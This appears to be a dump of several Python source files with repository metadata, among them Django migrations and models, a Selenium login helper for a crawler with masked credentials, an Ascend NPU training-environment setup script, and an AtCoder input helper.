('dataset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_explored_dataset', to='aggregator.Dataset')), ], ), migrations.CreateModel( name='DatasetPageViews', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('preview_count', models.IntegerField(default=1)), ('dataset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_page_views_dataset', to='aggregator.Dataset')), ], ), migrations.CreateModel( name='DatasetUniqueViews', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('preview_count', models.IntegerField(default=1)), ('dataset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_unique_views_dataset', to='aggregator.Dataset')), ('dataset_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_unique_views_user', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='DatasetUseInService', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('use_count', models.IntegerField(default=1)), ('dataset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_use_in_service_dataset', to='aggregator.Dataset')), ('service', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_use_in_service_service', to='service_builder.Service')), ], ), migrations.CreateModel( name='DatasetUseInVisualisation', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('viz_use_count', models.IntegerField(default=1)), ('dataset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_dataset_use_in_visualisation_dataset', to='aggregator.Dataset')), ], ), migrations.CreateModel( name='MareProtectionService', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('scenario', models.IntegerField(default=1)), ('simulation_length', models.IntegerField(default=24)), ('time_interval', models.IntegerField(default=2)), ('ocean_circulation_model', models.CharField(default='Poseidon High Resolution Aegean Model', max_length=100)), ('wave_model', models.CharField(default='Poseidon WAM Cycle 4 for the Aegean', max_length=100)), ('natura_layer', models.BooleanField(default=False)), ('ais_layer', models.BooleanField(default=False)), ], ), migrations.CreateModel( name='ServicePerUser', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('service_runs', models.IntegerField(default=1)), ('service', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='service_per_user_service', to='service_builder.Service')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='service_per_user_user', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='ServiceUse', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('serv_use_count', models.IntegerField(default=1)), ('service', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_service_use_service', to='service_builder.Service')), ], ), migrations.CreateModel( name='ServiceUsers', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('serv_use_count', models.IntegerField(default=1)), ('service', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_service_users_service', to='service_builder.Service')), ('service_user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_service_users_user', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='UserPlans', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('date_start', models.DateTimeField(auto_now_add=True)), ('date_end', models.DateTimeField(default=datetime.datetime(2019, 8, 15, 16, 27, 30, 138000))), ('active', models.BooleanField(default=True)), ('auto_renewal', models.BooleanField(default=True)), ('query_count', models.IntegerField(default=0)), ('plan', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='plan_plan', to='website_analytics.BDO_Plan')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='plan_user', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='VisualisationTypeUses', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('viz_use_count', models.IntegerField(default=1)), ('visualisation', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_visualisation_type_uses_visualisation', to='visualizer.Visualization')), ], ), migrations.CreateModel( name='WaveEnergyResourceAssessment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('dataset', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_nester_statistics_dataset', to='aggregator.Dataset')), ('service', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='analytics_nester_statistics_service', to='service_builder.Service')), ], ), ]

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1,124

11,479

6.108541

0.152135

0.026799

0.083746

0.070492

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null

0

1

0

1

0

null

0

2

0a00d3d1412e7fc414904354849563644c4fd535

780

py

Python

login.py

JayGao1219/crawler

8a2d0b949b0dcfda7a8f2f02c66bd635e7035516

[ "MIT" ]

null

login.py

JayGao1219/crawler

8a2d0b949b0dcfda7a8f2f02c66bd635e7035516

[ "MIT" ]

null

login.py

JayGao1219/crawler

8a2d0b949b0dcfda7a8f2f02c66bd635e7035516

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- 'a login model' __author__='Jay Gao 1219' from selenium import webdriver; login_url='https://www.itjuzi.com/user/login' def login(Explorer,flag):#flag表示是否是第一次调用 if flag==False: Explorer.find_element_by_id('loginurl').click() pass; else: Explorer.get(login_url) pass; Explorer.implicitly_wait(30) Explorer.find_element_by_css_selector('input[name="identity"]').send_keys("136xxxx4019") Explorer.find_element_by_css_selector('input[name="password"]').send_keys("xxxxxxxxx") Explorer.find_element_by_id('login_btn').click() pass; if __name__=='__main__': Explorer=webdriver.Chrome(); login(Explorer,True) print("login succeed") Explorer.quit() pass;

25.16129

92

0.691026

100

780

5.07

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0.094675

0.149901

0.16568

0.252465

0.161736

0

0.022936

0.161538

780

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false

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0.045455

0

null

0

1

0

null

0

1

0

2

0a08ca58cb90999e2abd0782db446fdc2d440ebb

473

py

Python

apps/publications/migrations/0028_title_uris_proprietary_ids.py

techlib/czechelib-stats

ca132e326af0924740a525710474870b1fb5fd37

[ "MIT" ]

1

2019-12-12T15:38:42.000Z

apps/publications/migrations/0028_title_uris_proprietary_ids.py

techlib/czechelib-stats

ca132e326af0924740a525710474870b1fb5fd37

[ "MIT" ]

null

apps/publications/migrations/0028_title_uris_proprietary_ids.py

techlib/czechelib-stats

ca132e326af0924740a525710474870b1fb5fd37

[ "MIT" ]

null

# Generated by Django 3.2.12 on 2022-02-24 09:00 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('publications', '0027_fill_platform_name'), ] operations = [ migrations.AddField( model_name='title', name='proprietary_ids', field=models.JSONField(default=list), ), migrations.AddField(model_name='title', name='uris', field=models.JSONField(default=list)), ]

26.277778

99

0.663848

54

473

5.703704

0.666667

0.116883

0.149351

0.175325

0.435065

0.233766

0

0.053333

0.207188

473

17

100

27.823529

0.768

0.097252

0

1

0

0.150588

0.054118

0

1

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false

0

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0.363636

0

null

0

1

0

1

0

null

0

2

0a137894f7810106cb2152e1863769e27f2e6b4c

19,445

py

Python

yaml/init-scripts/setup_npu.py

Asteven-zn/ApulisInstall

a34ca7bbd2ce733014772958c7eac4651c173032

[ "MIT" ]

null

yaml/init-scripts/setup_npu.py

Asteven-zn/ApulisInstall

a34ca7bbd2ce733014772958c7eac4651c173032

[ "MIT" ]

1

2022-03-04T07:41:14.000Z

yaml/init-scripts/setup_npu.py

Asteven-zn/ApulisInstall

a34ca7bbd2ce733014772958c7eac4651c173032

[ "MIT" ]

null

#!/usr/bin/python # -*- coding: UTF-8 -*- import os import json import time import pdb import platform import string import random # 此脚本与create_script.sh由算法同事 # 帮忙维护，当代码变更时需更新此版本号 code_version="1.0" def create_hccl_mindspore(): done = 0 rank_id = 0 hccl_data = {} # for test only #os.environ['DLWS_WORKER_NUM'] = "2" #os.environ['DLWS_JOB_ID'] = "test_npu_device" #os.environ['DLWS_USER_NAME'] = "bifeng.peng" # ## 单机任务，用DLWS_PS_NUM=0判断最好 if "DLWS_WORKER_NUM" not in os.environ: os.environ['DLWS_WORKER_NUM'] = "1" else: pass worker_num = int(os.environ['DLWS_WORKER_NUM']) job_id = os.environ['DLWS_JOB_ID'] user_name = os.environ['DLWS_USER_NAME'] # 1）hccl文件和相关脚本都会放到此目录 # 2）文件和具体的JOB有关, 不同JOB隔离存储 npu_dir = '/home/%s/.npu/%s/' % (user_name, job_id) # 以下变量写死 hccl_data["board_id"] = "0x0020" hccl_data["chip_info"] = "910" hccl_data["deploy_mode"] = "lab" hccl_data["group_count"] = "1" hccl_data["para_plane_nic_location"] = "device" hccl_data["para_plane_nic_name"] = [ "eth0", "eth1", "eth2", "eth3", "eth4", "eth5", "eth6", "eth7" ] hccl_data["para_plane_nic_num"] = "8" hccl_data["status"] = "completed" hccl_data["group_list"] = [] group = {} group["device_num"] = str(worker_num * 8) group["server_num"] = str(worker_num) group["group_name"] = "test" group["instance_count"] = group["device_num"] group["instance_list"] = [] ## 生成npu_idx.info文件 ## 文件数量和worker个数一致 while True: PATH = npu_dir + ('/npu_%d.info' % (done)) if os.path.isfile(PATH) and os.access(PATH, os.R_OK): with open(PATH, "r") as f: ips = "" host_ip = "" # 文件中的格式： # ip=id1:ip1,id2:ip2 # host=xxx for line in f: print(line) if "ip=" in line: _, ips = line.strip().split("=") elif "host=" in line: _, host_ip = line.strip().split("=") ip_list = ips.split(",") ip_list = sorted(ip_list) for ip_elem in ip_list: # 设备id和ip device_id, device_ip = ip_elem.split(":") ## set up group list device_item = {} # item of instance list device_item["devices"] = [{ "device_id" : device_id, "device_ip" : device_ip }] device_item["rank_id"] = str(rank_id) device_item["server_id"] = str(host_ip) #pdb.set_trace() rank_id = rank_id + 1 group["instance_list"].append(device_item) f.close() done = done + 1 else: pass if done == worker_num: break else: pass time.sleep(1) group["instance_count"] = group["device_num"] = str(len(group["instance_list"])) print("succ!") hccl_data["group_list"].append(group) # dump to json file with open(npu_dir + '/hccl_ms.json', 'w') as fp: json.dump(hccl_data, fp) return def create_hccl_tensorflow(): done = 0 # worker node to process rank_id = 0 # equals to device count hccl_data = {} # for test only #os.environ['DLWS_WORKER_NUM'] = "2" #os.environ['DLWS_JOB_ID'] = "test_npu_device" #os.environ['DLWS_USER_NAME'] = "bifeng.peng" # ## non distributed job if "DLWS_WORKER_NUM" not in os.environ: os.environ['DLWS_WORKER_NUM'] = "1" else: pass worker_num = int(os.environ['DLWS_WORKER_NUM']) job_id = os.environ['DLWS_JOB_ID'] pod_name = os.environ['POD_NAME'] user_name = os.environ['DLWS_USER_NAME'] distributing_job= False if "DLWS_NUM_PS" in os.environ: if int(os.environ["DLWS_NUM_PS"]) > 0: distributing_job = True else: pass else: pass # 1）hccl文件和相关脚本都会放到此目录 # 2）文件和具体的JOB有关, 不同JOB隔离存储 npu_dir = '/home/%s/.npu/%s/' % (user_name, job_id) hccl_data["group_count"] = "1" hccl_data["status"] = "completed" hccl_data["group_list"] = [] group = {} #group["device_count"] = worker_num * 8 group["instance_count"] = str(worker_num) group["group_name"] = "test" group["instance_list"] = [] ## 生成npu_idx.info文件 ## 文件数量和worker个数一致 while True: PATH = npu_dir + ('/npu_%d.info' % (done)) if os.path.isfile(PATH) and os.access(PATH, os.R_OK): with open(PATH, "r") as f: ips = "" host_ip = "" # 文件中的格式： # ip=id1:ip1,id2:ip2 # host=xxx for line in f: print(line) if "ip=" in line: _, ips = line.strip().split("=") elif "host=" in line: _, host_ip = line.strip().split("=") instance_item = {} # item of instance list if distributing_job is True: instance_item["pod_name"] = job_id + "-worker-" + str(done) else: instance_item["pod_name"] = pod_name instance_item["server_id"] = host_ip instance_item["devices"] = [] # parse string to get all device ips ip_list = ips.split(",") ip_list = sorted(ip_list) for ip_elem in ip_list: # one device device_id, device_ip = ip_elem.split(":") ## set up group list device_item = { "device_id" : device_id, "device_ip" : device_ip } # append to instance list rank_id = rank_id + 1 instance_item["devices"].append(device_item) #pdb.set_trace() group["instance_list"].append(instance_item) f.close() done = done + 1 else: pass if done == worker_num: break else: pass time.sleep(1) group["device_count"] = str(rank_id) group["instance_count"] = str(len(group["instance_list"])) hccl_data["group_list"].append(group) print("succ!") # dump to json file with open(npu_dir + '/hccl_tf.json', 'w') as fp: json.dump(hccl_data, fp) return # 从/pod.env导入环境变量 def load_env(file_path): envs = {} with open(file_path, "r") as f: lines = f.readlines() for line in lines: line = line.strip().lstrip("export") if line is not "" and "=" in line: key_val = line.strip().split("=") key = key_val[0] value = key_val[1] envs[key] = value else: pass f.close() return envs # 向/pod.env写入环境变量 # 先判断是否存在此环境量，如果已存在，则覆盖 def add_env(path, envs): # 覆盖相同key数据，文件已有的key保持不变 envs_orig = load_env(path) for k, v in envs.items(): envs_orig[k] = v with open(path, "w") as f: for k, v in envs_orig.items(): f.write("export %s=%s\n" % (k, v)) f.close() return def get_os_flag(): osflag="x86_64" if platform.machine() == "aarch64": osflag = "arm64" else: pass return osflag # gnu安装目录中的架构和算法组件的不一样 # 单独处理 def get_gnu_arch_flag(): osflag="x86_64" if platform.machine() == "aarch64": osflag = "aarch64" else: pass return osflag def get_random_num(length): return ''.join(random.choice(string.digits) for _ in range(length)) # 用于将环境变量更新写入指定用户的shell加载文件 def set_bashrc(username): path = "" if username == "root": path = "/root/.bashrc" else: path = "/home/" + username + "/.bashrc" with open(path, "a") as f: cmd = ''' if [ -f "/pod.env" ]; then . /pod.env fi ''' f.write(cmd + "\n") f.close() return # 准备mindspore环境 # 1) 预备环境变量，并写入/pod.env # 2) 创建算法需要的训练shell脚本 # 3) 创建算法需要的hccl文件 def handle_mindspore(): path = "/pod.env" envs = load_env(path) # 导入平台加载过程中已创建的环境变量 envs_to_add= {} envs_to_add["DEVICE_ID"] = "0" # 解析GPU/NPU设备ID if "VISIBLE_IDS" in envs: envs["VISIBLE_IDS"] = envs["VISIBLE_IDS"].replace("\\","") envs_to_add["VISIBLE_IDS"] = envs["VISIBLE_IDS"] else: pass # 解析NPU Device ID if "NPU_IPS" in envs: envs["NPU_IPS"] = envs["NPU_IPS"].replace("\\","") envs_to_add["NPU_IPS"] = envs["NPU_IPS"] else: pass ## 将/pod.env已有的环境变量 ## 与os当前具有的环境变量合并, 放入envs for k, v in os.environ.items(): if k not in envs: envs[k] = v else: pass ## 不需要解析device id ## 设置随机参数, 算法要求 envs["RANDOM"] = get_random_num(6) envs["osflag"] = get_os_flag() envs["gnu_arch"] = get_gnu_arch_flag() # mindspore环境变量模板 mindspore_envs = [ "PYTHONPATH=/usr/local/lib/python3.7/site-packages/mindspore/lib:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/pyACL/python/site-packages/acl:${PYTHONPATH}", "LD_LIBRARY_PATH=/usr/lib/${gnu_arch}-linux-gnu/hdf5/serial:/usr/local/Ascend/add-ons/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/lib64:/usr/local/Ascend/add-ons:/home/HwHiAiUser/Ascend/nnae/latest/fwkacllib/lib64:/usr/local/Ascend/driver/lib64/common/:/usr/local/Ascend/driver/lib64/driver/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe/op_tiling:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/atc/lib64:/usr/local/Ascend/fwkacllib/lib64/:/usr/local/lib/python3.7/site-packages/mindspore/lib/:/usr/local/lib/python3.7/site-packages/torch/lib:/usr/local/lib:/home/clang+llvm/lib/:$LD_LIBRARY_PATH", "TBE_IMPL_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/usr/local/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe", "PATH=$PATH:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/fwkacllib/ccec_compiler/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/ccec_compiler/bin/:/home/clang+llvm/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/atc/bin", "ASCEND_OPP_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp", "LLVM_CONFIG=/home/clang+llvm/bin/llvm-config", "SOC_VERSION=Ascend910", "POD_NAME=${DLWS_JOB_ID}", "JOB_ID=${RANDOM}", "RANK_SIZE=1", "ASCEND_GLOBAL_LOG_LEVEL=3", "ASCEND_GLOBAL_EVENT_ENABLE=0" ] # 模板渲染 for item in mindspore_envs: tpl = string.Template(item) new_item = tpl.safe_substitute(envs) if "=" in new_item: key_val = new_item.strip().split("=") k = key_val[0] v = key_val[1] envs_to_add[k] = v else: pass # 1) 更新/pod.env, 创建环境变量 add_env(path, envs_to_add) # 2) 生成shell训练脚本 pod_cmd = os.environ["DLWS_LAUNCH_CMD"] npu_info_dir = "/home/" + os.environ["DLWS_USER_NAME"] + "/.npu/" + os.environ["DLWS_JOB_ID"] + "/train.sh" cmd = 'python /pod/scripts/create_script.py --type mindspore --command "%s" --out %s'% (pod_cmd, npu_info_dir) os.system(cmd) os.system("chmod 777 " + npu_info_dir) # 将环境变量更新写入 root set_bashrc("root") ## 3) 生成hccl_tf.json if need_create_hccl() is True: create_hccl_mindspore() else: pass # 4) 分布式训练任务，环境配置同步 if is_distributed_job() is True and is_ps_pod() is True: notify() elif is_distributed_job() is True and is_worker_pod() is True: wait() else: pass return # 准备tensorflow环境 # 1) 预备环境变量，并写入/pod.env # 2) 创建算法需要的训练shell脚本 # 3) 创建算法需要的hccl文件 def handle_tensorflow(): # 1) 预备环境变量，并写入/pod.env path = "/pod.env" envs = load_env(path) # 导入平台加载过程中已创建的环境变量 envs_to_add= {} # 解析GPU/NPU设备ID if "VISIBLE_IDS" in envs: envs["VISIBLE_IDS"] = envs["VISIBLE_IDS"].replace("\\","") envs_to_add["VISIBLE_IDS"] = envs["VISIBLE_IDS"] else: pass if "NPU_IPS" in envs: envs["NPU_IPS"] = envs["NPU_IPS"].replace("\\","") envs_to_add["NPU_IPS"] = envs["NPU_IPS"] else: pass ## 将/pod.env已有的环境变量 ## 与os当前具有的环境变量合并, 放入envs for k, v in os.environ.items(): if k not in envs: envs[k] = v else: pass ## 第一个设备id device_id="0" device_index="0" if "VISIBLE_IDS" in envs: devid = envs["VISIBLE_IDS"].split(",")[0].strip() if len(devid) > 0: device_id = devid else: pass else: pass device_index = device_id ## 设置随机参数 envs["RANDOM"] = get_random_num(6) envs["osflag"] = get_os_flag() envs["gnu_arch"] = get_gnu_arch_flag() # 模板配置 tensorflow_envs = [ "PYTHONPATH=/usr/local/lib/python3.7/site-packages/mindspore/lib:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/pyACL/python/site-packages/acl:${PYTHONPATH}", "LD_LIBRARY_PATH=/usr/lib/${gnu_arch}-linux-gnu/hdf5/serial:/usr/local/Ascend/add-ons/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/lib64:/usr/local/Ascend/add-ons:/home/HwHiAiUser/Ascend/nnae/latest/fwkacllib/lib64:/usr/local/Ascend/driver/lib64/common/:/usr/local/Ascend/driver/lib64/driver/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe/op_tiling:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/atc/lib64:/usr/local/Ascend/fwkacllib/lib64/:/usr/local/lib/python3.7/site-packages/mindspore/lib/:/usr/local/lib/python3.7/site-packages/torch/lib:/usr/local/lib:/home/clang+llvm/lib/:$LD_LIBRARY_PATH", "TBE_IMPL_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/opp/op_impl/built-in/ai_core/tbe:/usr/local/Ascend/ascend-toolkit/latest/opp/op_impl/built-in/ai_core/tbe", "PATH=$PATH:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/${osflag}-linux/fwkacllib/ccec_compiler/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/fwkacllib/ccec_compiler/bin/:/home/clang+llvm/bin/:/home/HwHiAiUser/Ascend/ascend-toolkit/latest/atc/bin", "ASCEND_OPP_PATH=/home/HwHiAiUser/Ascend/ascend-toolkit/latest/opp", "LLVM_CONFIG=/home/clang+llvm/bin/llvm-config", "SOC_VERSION=Ascend910", "POD_NAME=${DLWS_JOB_ID}", "JOB_ID=${RANDOM}", "RANK_SIZE=1", "ASCEND_GLOBAL_LOG_LEVEL=3", "ASCEND_GLOBAL_EVENT_ENABLE=0" ] envs_to_add["DEVICE_ID"] = device_id envs_to_add["DEVICE_INDEX"] = device_index # 渲染模板 for item in tensorflow_envs: tpl = string.Template(item) new_item = tpl.safe_substitute(envs) if "=" in new_item: key_val = new_item.strip().split("=") k = key_val[0] v = key_val[1] envs_to_add[k] = v else: pass # 1) 更新环境变量 add_env(path, envs_to_add) ## 2) 生成shell脚本 pod_cmd = os.environ["DLWS_LAUNCH_CMD"] npu_info_dir = "/home/" + os.environ["DLWS_USER_NAME"] + "/.npu/" + os.environ["DLWS_JOB_ID"] + "/train.sh" cmd = 'python /pod/scripts/create_script.py --type tensorflow --command "%s" --out %s'% (pod_cmd, npu_info_dir) print(cmd, "==========================") os.system(cmd) os.system("chmod 777 " + npu_info_dir) # 更新用户bash脚本 set_bashrc("root") # 3) 生成hccl_tf.json if need_create_hccl() is True: create_hccl_tensorflow() else: pass # 4) 分布式训练任务，环境配置同步 if is_distributed_job() is True and is_ps_pod() is True: notify() elif is_distributed_job() is True and is_worker_pod() is True: wait() else: pass return # 是否分布式训练任务 def is_distributed_job(): if "DLWS_NUM_PS" in os.environ: dlws_num_ps = os.environ["DLWS_NUM_PS"].strip().lower() if len(dlws_num_ps) > 0 and int(dlws_num_ps) >0: print("is_distributed_job return true") return True return False # 是否master节点 def is_ps_pod(): if "DLWS_ROLE_NAME" in os.environ: dlws_role_name = os.environ["DLWS_ROLE_NAME"].strip().lower() ## Ps表示多机多卡ps pod if dlws_role_name == "ps": return True return False # 是否worker节点 def is_worker_pod(): if "DLWS_ROLE_NAME" in os.environ: dlws_role_name = os.environ["DLWS_ROLE_NAME"].strip().lower() ## Ps表示多机多卡ps pod if dlws_role_name == "worker": return True return False # 分布式训练任务 # ps节点在环境预备结束后，创建setup_environment_done文件 # 用作环境准备完成的标识 def notify(): # 单机训练任务，只有一个POD不需要做协同 if is_distributed_job() is False: return setup_environment_done = "/home/" + os.environ["DLWS_USER_NAME"] + "/.npu/" + os.environ["DLWS_JOB_ID"] + "/setup_environment_done" # 多机多卡训练，ps节点预备环境 if not os.path.exists(setup_environment_done): open(setup_environment_done, 'a').close() return # 分布式训练任务 # worker节点通过检查setup_environment_done文件 # 来判断环境准备是否结束 def wait(): # 单机训练任务，只有一个POD不需要等待环境 if is_distributed_job() is False: return setup_environment_done = "/home/" + os.environ["DLWS_USER_NAME"] + "/.npu/" + os.environ["DLWS_JOB_ID"] + "/setup_environment_done" # 多机多卡训练，ps节点预备环境 while True: if not os.path.exists(setup_environment_done): print("===========", setup_environment_done, " not found. wait") time.sleep(1) else: break return # 1) 单机训练中，需要创建hccl文件 # 2）多机多卡中，需要在ps pod创建hccl文件, 此文件会被worker pod共同读取 def need_create_hccl(): if "DLWS_ROLE_NAME" in os.environ: dlws_role_name = os.environ["DLWS_ROLE_NAME"].strip().lower() ## master表示单机POD ## Ps表示多机多卡ps pod if dlws_role_name == "ps" or dlws_role_name == "master": return True return False if __name__ == "__main__": # 1) 训练框架类别由前端传入 # 本脚本依据此字段, 为不同框架创建不同的环境参数 # hccl文件、环境变量等等 # 2) 脚本经平台bootstrap.sh调用 # 仅在JOB为单机节点或者分布式任务的PS节点被执行 if "aiframework" in os.environ: framework = os.environ["aiframework"].strip().lower() if framework == "tensorflow": handle_tensorflow() elif framework == "mindspore": handle_mindspore() else: handle_tensorflow() else: # 兼容版本<v1.3.0 create_hccl_mindspore() create_hccl_tensorflow() pass

27.58156

665

0.572229

2,429

19,445

4.358995

0.149033

0.034851

0.040518

0.051946

0.71071

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0.652153

0.63912

0.612391

0

0.011766

0.2919

19,445

704

666

27.620739

0.757208

0.108871

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0.299616

0.188518

0

0.000349

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false

0.063107

0.01699

0.002427

0.109223

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0

null

0

1

0

null

0

1

0

2

0a1a442445edbbf33c834651505d8bea1866c36d

485

py

Python

src/atcoderbase.py

scnsh/python-circlci-test

af6be3d78c5428984368fd1c06214d5030159273

[ "Apache-2.0" ]

null

src/atcoderbase.py

scnsh/python-circlci-test

af6be3d78c5428984368fd1c06214d5030159273

[ "Apache-2.0" ]

1

2021-06-02T00:32:09.000Z

src/atcoderbase.py

scnsh/python-circlci-test

af6be3d78c5428984368fd1c06214d5030159273

[ "Apache-2.0" ]

null

from collections import deque from typing import List class AtCoderBase: def __init__(self, all_input: List[str]): self.all_input = deque(all_input) self.ret_str = "" self.msg = list() def input(self): def _input() -> str: line = self.all_input.pop() yield line return _input().__next__() def print(self, data): self.msg.append(str(data)) def process(self): raise NotImplementedError

22.045455

45

0.595876

59

485

4.644068

0.457627

0.116788

0.131387

0

0.298969

485

21

46

23.095238

0.805882

0

1

0.3125

false

0

0.125

0

0.5625

0.0625

0

null

0

null

0

1

0

1

0

2

0a1cec95b806ee342e5c51684a037783edbfb5ee

5,262

py

Python

appSchool/models.py

NandyAkash/Sma

60b247d7b213516b94347626d09a8f329a70aa90

[ "MIT" ]

null

appSchool/models.py

NandyAkash/Sma

60b247d7b213516b94347626d09a8f329a70aa90

[ "MIT" ]

null

appSchool/models.py

NandyAkash/Sma

60b247d7b213516b94347626d09a8f329a70aa90

[ "MIT" ]

null

# import jwt # from datetime import datetime, timedelta # from django.conf import settings # from django.contrib.auth.models import ( # AbstractBaseUser, BaseUserManager, PermissionsMixin # ) # from django.db import models # # Create your models here. # class UserManager(BaseUserManager): # """ # Django requires that custom users define their own Manager class. By # inheriting from `BaseUserManager`, we get a lot of the same code used by # Django to create a `User`. # All we have to do is override the `create_user` function which we will use # to create `User` objects. # """ # def create_user(self, username, password= None): # """Create and return a `User` with an role, username and password.""" # if username is None: # raise TypeError('Users must have a username.') # # if roles is None: # # raise TypeError('Users must have a role.') # user = self.model(username = username) # user.set_password(password) # user.save() # return user # def create_superuser(self, username, password): # """ # Create and return a `User` with superuser (admin) permissions. # """ # if password is None: # raise TypeError('Superusers must have a password.') # user = self.create_user(username, password) # user.is_superuser = True # user.is_staff = True # user.save() # return user # class Role(models.Model): # ''' # The Role entries are managed by the system, # automatically created via a Django data migration. # ''' # TEACHER = 2 # ADMIN = 1 # ROLE_CHOICES = ( # (TEACHER, 'teacher'), # (ADMIN, 'admin'), # ) # id = models.PositiveSmallIntegerField(choices=ROLE_CHOICES, primary_key=True) # def __str__(self): # return self.get_id_display() # class User(AbstractBaseUser, PermissionsMixin): # # Each `User` needs a human-readable unique identifier that we can use to # # represent the `User` in the UI. We want to index this column in the # # database to improve lookup performance. # username = models.CharField(db_index=True, max_length=255, unique=True) # # We also need a way to contact the user and a way for the user to identify # # themselves when logging in. Since we need an email address for contacting # # the user anyways, we will also use the email for logging in because it is # # the most common form of login credential at the time of writing. # roles = models.ManyToManyField(Role) # # When a user no longer wishes to use our platform, they may try to delete # # their account. That's a problem for us because the data we collect is # # valuable to us and we don't want to delete it. We # # will simply offer users a way to deactivate their account instead of # # letting them delete it. That way they won't show up on the site anymore, # # but we can still analyze the data. # is_active = models.BooleanField(default=True) # # The `is_staff` flag is expected by Django to determine who can and cannot # # log into the Django admin site. For most users this flag will always be # # false. # is_staff = models.BooleanField(default=False) # # A timestamp representing when this object was created. # created_at = models.DateTimeField(auto_now_add=True) # # A timestamp reprensenting when this object was last updated. # updated_at = models.DateTimeField(auto_now=True) # # More fields required by Django when specifying a custom user model. # # The `USERNAME_FIELD` property tells us which field we will use to log in. # # In this case we want it to be the username field. # USERNAME_FIELD = 'username' # # Tells Django that the UserManager class defined above should manage # # objects of this type. # objects = UserManager() # def __str__(self): # """ # Returns a string representation of this `User`. # This string is used when a `User` is printed in the console. # """ # return self.roles # @property # def token(self): # """ # Allows us to get a user's token by calling `user.token` instead of # `user.generate_jwt_token(). # The `@property` decorator above makes this possible. `token` is called # a "dynamic property". # """ # return self._generate_jwt_token() # def get_full_name(self): # """ # This method is required by Django for things like handling emails. # Typically this would be the user's first and last name. Since we do # not store the user's real name, we return their username instead. # """ # return self.username # def _generate_jwt_token(self): # """ # Generates a JSON Web Token that stores this user's ID and has an expiry # date set to 60 days into the future. # """ # dt = datetime.now() + timedelta(days=60) # token = jwt.encode({ # 'id': self.pk, # 'exp': int(dt.strftime('%s')) # }, settings.SECRET_KEY, algorithm='HS256') # return token.decode('utf-8')

34.847682

81

0.63664

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5,262

4.731044

0.370529

0.009072

0.009979

0.018143

0.052011

0.035077

0.020562

0

0.003395

0.27233

5,262

151

82

34.847682

0.860277

0.942037

0

null

0

null

0

null

0

null

1

null

true

0

null

0

null

0

1

0

null

0

1

0

2

0a2017392a97b7e7533086af357c08827f45a3fb

5,368

py

Python

tests/test_utils_conda.py

woodruffw-forks/cyclonedx-python-lib

395a0ec14ebcba8e0849a0ced30ec4163c42fa7a

[ "Apache-2.0" ]

null

tests/test_utils_conda.py

woodruffw-forks/cyclonedx-python-lib

395a0ec14ebcba8e0849a0ced30ec4163c42fa7a

